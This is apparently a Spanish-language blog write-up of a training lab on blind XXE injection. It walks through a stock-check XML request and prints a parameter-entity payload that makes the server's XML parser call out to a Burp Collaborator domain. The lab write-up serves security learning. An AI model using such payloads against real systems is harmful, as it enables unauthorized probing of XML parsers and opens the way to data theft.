Entrada

XXE Injection Lab 4

XXE Injection Lab 4

Skills

  • Blind XXE with out-of-band interaction via XML parameter entities

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio tiene una función de Check stock que analiza la entrada XML, pero no muestra valores inesperados y bloquea las solicitudes que contienen entidades externas regulares. Para resolver el laboratorio, debemos utilizar una entidad de parámetro para que el analizador XML realice una búsqueda DNS y una solicitud HTTP a Burp Collaborator


Resolución

Al acceder a la web nos sale esto

Si pulsamos en View details veremos la descripción del artículo

Si pulsamos en Check stock y capturamos la petición con Burpsuite vemos que se está tramitando un XML

Vamos a insertar un DTD (Document Type Definition) y a comprobar si es vulnerable a XXE

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [<!ENTITY xxe "Doe"> ]>
	<stockCheck>
		<productId>
			&xxe;
		</productId>
		<storeId>
			1
		</storeId>
	</stockCheck>

La da un error al enviar la petición, esto se debe a que no podemos llamar a una entidad desde los campos existentes, en este caso la entidad declarada es xxe

Nos vamos a Burpsuite Collaborator y pulsamos en Copy to clipboard, este dominio obtenido lo vamos a usar para construir este payload, el % sirve para llamar a la entidad desde el DTD creado

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://lqfvrsm0rxqxty3gudtykjjoifo6cx0m.oastify.com"> %xxe; ]>
	<stockCheck>
		<productId>
			1
		</productId>
		<storeId>
			1
		</storeId>
	</stockCheck>

Nos vamos a Burpsuite Collaborator y observamos que hemos obtenido respuesta

Esta entrada está licenciada bajo CC BY 4.0 por el autor.